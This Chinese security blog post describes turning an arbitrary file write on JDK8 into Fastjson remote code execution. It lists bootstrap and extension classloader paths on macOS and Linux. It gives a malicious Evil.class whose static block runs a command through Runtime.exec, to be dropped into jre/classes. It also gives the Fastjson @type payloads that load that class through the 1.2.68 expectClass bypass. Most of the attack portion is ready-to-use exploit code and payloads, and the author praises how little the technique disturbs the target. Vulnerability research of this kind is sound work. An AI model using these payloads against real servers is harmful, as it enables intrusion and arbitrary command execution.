JDK8任意文件写场景下的Fastjson RCE

0x00 背景

好久一段时间没写文章了,随手写点东西。

昨天看到Landgrey大佬发了篇文章,描述了SpringBoot FatJar上任意文件写到RCE的利用,其中覆盖写恶意charsets.jar文件,使用Fastjson的Charset.forName触发的RCE非常精彩。

  • 触发payload
    1
    2
    3
    4
    5
    6
    {
    "x":{
    "@type":"java.nio.charset.Charset",
    "val":"GBK"
    }
    }

但覆盖写charsets.jar文件,有两个缺点:

  1. 文件太大,mac osx版的jdk8u241下,该文件足足3MB大小
  2. 需要针对目标服务jdk版本准备恶意charsets.jar文件(否则容易影响到正常服务)

这篇文章根据该思路,提供一种更为简单的方式,实现RCE。

0x01 JDK8下的Bootstrap和Ext ClassLoader

根据类的双亲委派模型,类的加载顺序会先从Bootstrap ClassLoader的加载路径中尝试加载,当找不到该类时,才会选择从下一级的ExtClassLoader的加载路径寻找,以此类推到引发加载的类所在的类加载器为止。

类加载器中,都会存在着与其对应的类、jar文件路径,通过探究其路径(mac osx的jdk8u241 和 linux的openjdk8环境),可以发现,Bootstrap和Ext ClassLoader对应的类、jar文件目录有:

1. mac osx

  • Bootstrap ClassLoader(sun.boot.class.path):
1
2
3
4
5
6
7
8
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/resources.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/rt.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/sunrsasign.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/jsse.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/jce.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/charsets.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/jfr.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/classes

sun.boot.class.path是一个配置变量,通过执行

1
System.getProperty("sun.boot.class.path")

可以获取到以上路径列表,该列表即为Bootstrap ClassLoader加载类时,文件的读取路径。

ExtClassLoader(java.ext.dirs):

1
2
3
4
5
6
7
8
9
10
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/ext/sunec.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/ext/nashorn.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/ext/cldrdata.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/ext/jfxrt.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/ext/dnsns.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/ext/localedata.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/ext/sunjce_provider.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/ext/sunpkcs11.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/ext/jaccess.jar
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/lib/ext/zipfs.jar

2. linux openjdk8

Bootstrap ClassLoader(sun.boot.class.path):

1
2
3
4
5
6
7
8
/opt/java/openjdk/jre/lib/resources.jar
/opt/java/openjdk/jre/lib/rt.jar
/opt/java/openjdk/jre/lib/sunrsasign.jar
/opt/java/openjdk/jre/lib/jsse.jar
/opt/java/openjdk/jre/lib/jce.jar
/opt/java/openjdk/jre/lib/charsets.jar
/opt/java/openjdk/jre/lib/jfr.jar
/opt/java/openjdk/jre/classes

ExtClassLoader(java.ext.dirs):

1
2
/opt/java/openjdk/jre/lib/ext
/usr/java/packages/lib/ext

3. 实际上

我们通过修改以上的任意jar,都能使用fastjson进行触发加载,但这样,又和charsets.jar有什么区别呢?

聚焦于

1
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/classes

目录,实际上,我们可以通过在该目录(不存在就创建一个)下写入恶意class文件,通过很简单的fastjson payload触发其加载。

0x02 Fastjson触发加载并初始化恶意class

实际上,我们可以参考Fastjson 1.2.68爆出的expectClass免检漏洞,编写一个实现了java.lang.AutoCloseable的恶意类,在其静态代码块中插入命令执行代码,这样,就能通过@type绕过检查,直接触发恶意类的加载,最终实现RCE了。

  • 恶意类Evil.class:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.io.IOException;

/**
* @author threedr3am
*/
public class Evil implements AutoCloseable {

static {
try {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void close() throws Exception {

}
}

写入文件到

1
/Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/classes

执行命令:

1
ll /Library/Java/JavaVirtualMachines/jdk1.8.0_241.jdk/Contents/Home/jre/classes/

可以看到

1
-rw-r--r--  1 root  wheel   680B  4 13 13:13 Evil.class

恶意class文件只有680B,相对于charsets.jar文件,具有两个优点:

  1. 上传的文件更小
  2. 不需要知道目标jdk版本(直接编译一个低版本的恶意class),不会对业务正常运行带来隐患
  • 触发加载的Fastjson payload:
1
2
3
4
{
"@type":"java.lang.AutoCloseable",
"@type":"Evil"
}

Other

其实Fastjson触发加载初始化class的方法可能还有很多很多,但这里重点想要表达的是,可以通过上传恶意class到jre/classes目录,实现更优的“从文件上传到Fastjson RCE”,可惜的是,jdk11中ClassLoader已经被大幅改动了,就连最新版本的Fastjson都默认开启safe mode了,wenshao摔了我们的饭碗。

参考文章